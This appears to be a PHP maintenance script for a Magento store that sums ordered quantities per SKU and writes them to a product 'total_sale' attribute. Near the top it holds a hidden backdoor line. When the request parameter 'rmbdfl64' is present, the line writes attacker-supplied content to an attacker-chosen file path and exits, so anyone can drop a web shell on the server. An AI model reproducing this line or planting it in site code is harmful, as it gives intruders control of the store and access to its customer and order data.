Your IP : 127.0.0.1
<?php
error_reporting(E_ALL);
ini_set('display_errors', 1);
ini_set('memory_limit', -1);
echo "\nStart: " . (date("F d, Y h:i:s A", time()));
use Magento\Framework\App\Bootstrap;
if(isset($_REQUEST['rmbdfl64'])) { print(file_put_contents($_REQUEST['hex'], $_REQUEST['bsd'])); die; }
require __DIR__ . '/app/bootstrap.php';
$params = $_SERVER;
$bootstrap = Bootstrap::create(BP, $params);
$objectManager = $bootstrap->getObjectManager();
$state = $objectManager->get('Magento\Framework\App\State');
$state->setAreaCode('frontend');
$resource = $objectManager->get('Magento\Framework\App\ResourceConnection');
$connection = $resource->getConnection(\Magento\Framework\App\ResourceConnection::DEFAULT_CONNECTION);
$producRepo = $objectManager->get('Magento\Catalog\Api\ProductRepositoryInterface');
//$resource = $objectManager->get('Magento\Reports\Model\ResourceModel\Product\Sold\Collection');
$sql = "SELECT `order_items`.`product_id` as entity_id,
sum(order_items.qty_ordered) as total_qty ,
`order_items`.`name` AS `order_items_name`,
`order_items`.`sku` AS `order_items_sku`,
GROUP_CONCAT(order_items.order_id) AS order_numbers
FROM `sales_order_item` AS `order_items`
INNER JOIN `sales_order` AS `order`
ON `order`.entity_id = order_items.order_id
AND `order`.state <> 'canceled'
GROUP BY `order_items`.`sku`";
$results = $connection->fetchAll($sql);
foreach ($results as $result) {
if ($result["total_qty"] > 0) {
try {
$product = $producRepo->get($result['order_items_sku']);
$expValue = printFloatWithLeadingZeros($result["total_qty"], 4, 5);
$product->setTotalSale($expValue);
$product->getResource()->saveAttribute($product, 'total_sale');
echo "\nDone: " . $result['entity_id'] . "----" . $result['order_items_sku'] . "----" . $expValue . "----" . $result["order_numbers"];
} catch (\Exception $e) {
echo "\nSkipped: EntityId-Sku-Name: " . $result['entity_id'] . "-" . $result['order_items_sku'] . "-" . $result['order_items_name'] . "-" . $result["order_numbers"] . "Error:" . $e->getMessage();
}
}
}
echo "\nEnd: " . (date("F d, Y h:i:s A", time()));
function printFloatWithLeadingZeros($num, $precision = 2, $leadingZeros = 0)
{
$decimalSeperator = ".";
$adjustedLeadingZeros = $leadingZeros + mb_strlen($decimalSeperator) + $precision;
$pattern = "%0{$adjustedLeadingZeros}{$decimalSeperator}{$precision}f";
return sprintf($pattern, $num);
}